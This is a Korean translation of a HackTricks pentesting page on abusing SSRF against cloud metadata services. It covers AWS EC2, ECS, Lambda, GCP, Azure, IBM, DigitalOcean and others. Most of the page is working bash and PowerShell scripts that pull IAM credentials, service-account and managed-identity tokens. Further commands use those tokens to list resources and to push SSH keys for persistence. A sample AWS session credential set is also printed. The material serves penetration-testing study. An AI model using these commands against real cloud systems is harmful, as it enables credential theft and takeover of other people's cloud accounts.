hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

32 KiB

클라우드 SSRF

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!

HackTricks를 지원하는 다른 방법:

가장 중요한 취약점을 찾아 빠르게 수정하세요. Intruder는 공격 표면을 추적하고 예방적인 위협 스캔을 실행하여 API부터 웹 앱 및 클라우드 시스템까지 전체 기술 스택에서 문제를 찾습니다. 무료로 시도해보세요 오늘.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


AWS

AWS EC2 환경에서 SSRF 남용

메타데이터 엔드포인트는 모든 EC2 머신 내부에서 액세스할 수 있으며 해당 머신에 대한 흥미로운 정보를 제공합니다. 해당 URL은 http://169.254.169.254에서 액세스할 수 있습니다 (메타데이터에 대한 정보는 여기에서 확인하세요).

메타데이터 엔드포인트에는 2가지 버전이 있습니다. 첫 번째 버전은 GET 요청을 통해 엔드포인트에 액세스할 수 있습니다(따라서 어떤 SSRF도 악용할 수 있음). 두 번째 버전인 IMDSv2의 경우, HTTP 헤더를 보내어 토큰을 요청하고 그 토큰을 사용하여 다른 HTTP 헤더로 메타데이터에 액세스해야 합니다(따라서 SSRF로 악용하기가 더 복잡해집니다).

{% hint style="danger" %} EC2 인스턴스가 IMDSv2를 강제로 적용하고 있다면, 문서에 따르면, PUT 요청의 응답1의 홉 한계를 가지므로 EC2 인스턴스 내부의 컨테이너에서 EC2 메타데이터에 액세스하는 것이 불가능합니다.

또한, IMDSv2X-Forwarded-For 헤더를 포함하는 토큰을 가져오는 요청을 차단합니다. 이는 잘못 구성된 리버스 프록시가 액세스하는 것을 방지하기 위한 조치입니다. {% endhint %}

문서에서 메타데이터 엔드포인트에 대한 정보를 찾을 수 있습니다. 다음 스크립트에서는 해당 정보를 통해 흥미로운 정보를 얻을 수 있습니다:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

공개적으로 사용 가능한 IAM 자격 증명이 노출된 예시를 방문할 수 있습니다: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

또한 공개 EC2 보안 자격 증명을 확인할 수 있습니다: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

그런 다음 해당 자격 증명을 사용하여 AWS CLI를 사용할 수 있습니다. 이를 통해 그 역할이 수행할 수 있는 모든 작업을 수행할 수 있습니다.

새 자격 증명을 활용하려면 다음과 같이 새 AWS 프로필을 생성해야 합니다:

[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

aws_session_token을 주목하세요, 이것은 프로필이 작동하는 데 꼭 필요합니다.

PACU는 발견된 자격 증명을 사용하여 권한을 확인하고 권한 상승을 시도할 수 있습니다.

AWS ECS (컨테이너 서비스) 자격 증명에서의 SSRF

ECS는 EC2 인스턴스의 논리적 그룹으로, 클러스터 관리 인프라를 확장할 필요 없이 응용 프로그램을 실행할 수 있도록 해줍니다. 왜냐하면 ECS가 그것을 대신 관리하기 때문입니다. ECS에서 실행 중인 서비스를 손상시키면 메타데이터 엔드포인트가 변경됩니다.

_http://169.254.170.2/v2/credentials/<GUID>_에 액세스하면 ECS 머신의 자격 증명을 찾을 수 있습니다. 그러나 먼저 <GUID>를 찾아야 합니다. <GUID>를 찾으려면 먼저 머신 내부의 environ 변수 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI를 읽어야 합니다.
file:///proc/self/environPath Traversal을 이용하여 읽을 수 있을 수도 있습니다.
언급된 http 주소는 AccessKey, SecretKey 및 토큰을 제공해야 합니다.

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

{% hint style="info" %} 일부 경우에서는 컨테이너에서 EC2 메타데이터 인스턴스에 액세스할 수 있습니다 (이전에 언급된 IMDSv2 TTL 제한 확인). 이러한 시나리오에서는 컨테이너에서 컨테이너 IAM 역할과 EC2 IAM 역할에 모두 액세스할 수 있습니다. {% endhint %}

AWS Lambda용 SSRF

이 경우 자격 증명은 환경 변수에 저장됩니다. 따라서 이러한 자격 증명에 액세스하려면 **file:///proc/self/environ**과 같은 것에 액세스해야 합니다.

흥미로운 환경 변수의 이름은 다음과 같습니다:

  • AWS_SESSION_TOKEN
  • AWS_SECRET_ACCESS_KEY
  • AWS_ACCES_KEY_ID

또한 IAM 자격 증명 외에도 Lambda 함수에는 함수가 시작될 때 함수로 전달되는 이벤트 데이터도 있습니다. 이 데이터는 함수에 런타임 인터페이스를 통해 제공되며 민감한 정보 (예: stageVariables 내부)를 포함할 수 있습니다. IAM 자격 증명과 달리 이 데이터는 **http://localhost:9001/2018-06-01/runtime/invocation/next**에서 표준 SSRF를 통해 액세스할 수 있습니다.

{% hint style="warning" %} 람다 자격 증명환경 변수에 있습니다. 따라서 람다 코드의 스택 추적이 환경 변수를 인쇄하면 앱에서 오류를 유발하여 그것을 외부로 유출할 수 있습니다. {% endhint %}

AWS Elastic Beanstalk용 SSRF URL

API에서 accountIdregion을 검색합니다.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

우리는 그런 다음 API에서 AccessKeyId, SecretAccessKey, 그리고 Token을 검색합니다.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

그런 다음 aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/를 사용하여 자격 증명을 사용합니다.

GCP

메타데이터 엔드포인트에 대한 문서는 여기에서 찾을 수 있습니다.

Google Cloud용 SSRF URL

HTTP 헤더 **Metadata-Flavor: Google**가 필요하며 다음 URL을 사용하여 메타데이터 엔드포인트에 액세스할 수 있습니다:

정보를 추출하는 데 흥미로운 엔드포인트:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

베타는 현재 헤더를 필요로하지 않습니다 (Mathias Karlsson @avlidienbrunn에게 감사합니다)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

{% hint style="danger" %} 유출된 서비스 계정 토큰을 사용하려면 다음을 수행할 수 있습니다:

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

{% endhint %}

SSH 키 추가

토큰 추출

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

이전 출력물로 토큰의 범위를 확인하거나 다음을 실행하여 확인합니다.

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

이제 SSH 키를 푸시(push)하세요.

{% code overflow="wrap" %}

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

{% endcode %}

클라우드 함수

메타데이터 엔드포인트는 VM과 동일하게 작동하지만 일부 엔드포인트가 없습니다:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Digital Ocean

{% hint style="warning" %} AWS Roles이나 GCP 서비스 계정과 같은 것은 없으므로 메타데이터 봇 자격 증명을 찾을 수 없습니다. {% endhint %}

문서는 https://developers.digitalocean.com/documentation/metadata/에서 확인할 수 있습니다.

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

가장 중요한 취약점을 찾아 더 빨리 해결할 수 있습니다. Intruder는 공격 표면을 추적하고 예방적인 위협 스캔을 실행하여 API부터 웹 앱 및 클라우드 시스템까지 전체 기술 스택에서 문제를 찾습니다. 지금 무료로 시도해보세요.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Azure

Azure VM

여기서 문서 확인.

  • 반드시 헤더에 Metadata: true를 포함해야 합니다.
  • X-Forwarded-For 헤더를 포함해서는 안 됩니다.

{% tabs %} {% tab title="Bash" %} {% code overflow="wrap" %}

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

{% endcode %} {% endtab %}

{% tab title="PS" %}

# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text

{% endtab %} {% endtabs %}

Azure App Service

env에서 IDENTITY_HEADER IDENTITY_ENDPOINT 값을 가져올 수 있습니다. 이를 사용하여 메타데이터 서버와 통신할 토큰을 수집할 수 있습니다.

대부분의 경우, 다음 리소스 중 하나에 대한 토큰이 필요합니다:

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet

IBM Cloud

{% hint style="warning" %} IBM에서는 기본적으로 메타데이터가 활성화되어 있지 않으므로 IBM 클라우드 VM 내부에 있더라도 액세스할 수 없는 경우가 있습니다. {% endhint %}

{% code overflow="wrap" %}

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

{% endcode %}

다양한 플랫폼의 메타데이터 서비스 문서는 아래에 설명되어 있으며, 각 플랫폼은 고유한 엔드포인트를 제공하여 메타데이터 서비스에 액세스할 수 있습니다.

Packetcloud

Packetcloud의 메타데이터에 액세스하기 위한 문서는 다음에서 찾을 수 있습니다: https://metadata.packet.net/userdata

OpenStack/RackSpace

헤더의 필요성은 언급되지 않았습니다. 메타데이터는 다음을 통해 액세스할 수 있습니다:

  • http://169.254.169.254/openstack

HP Helion

여기서도 헤더의 필요성은 언급되지 않습니다. 메타데이터는 다음에서 액세스할 수 있습니다:

  • http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud는 다양한 메타데이터 측면에 액세스하기 위한 일련의 엔드포인트를 제공합니다:

  • http://192.0.0.192/latest/
  • http://192.0.0.192/latest/user-data/
  • http://192.0.0.192/latest/meta-data/
  • http://192.0.0.192/latest/attributes/

Alibaba

Alibaba는 인스턴스 및 이미지 ID에 액세스하기 위한 엔드포인트를 제공합니다:

  • http://100.100.100.200/latest/meta-data/
  • http://100.100.100.200/latest/meta-data/instance-id
  • http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD는 API 키, 내부 IP 주소 및 포트를 보유할 수 있습니다. 액세스는 다음을 통해 시연됩니다:

  • curl -L http://127.0.0.1:2379/version
  • curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Docker 메타데이터는 로컬에서 액세스할 수 있으며, 컨테이너 및 이미지 정보 검색을 위한 예제가 제공됩니다:

  • Docker 소켓을 통해 컨테이너 및 이미지 메타데이터에 액세스하는 간단한 예제:
  • docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
  • 컨테이너 내에서 Docker 소켓을 사용하여 curl을 사용합니다:
  • curl --unix-socket /var/run/docker.sock http://foo/containers/json
  • curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Rancher의 메타데이터는 다음을 사용하여 액세스할 수 있습니다:

  • curl http://rancher-metadata/<version>/<path>

가장 중요한 취약점을 찾아서 빠르게 수정할 수 있습니다. Intruder는 공격 표면을 추적하고 예방적인 위협 스캔을 실행하여 API부터 웹 앱 및 클라우드 시스템까지 전체 기술 스택에서 문제를 찾습니다. 지금 무료로 시도해보세요!

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)와 함께!

HackTricks를 지원하는 다른 방법: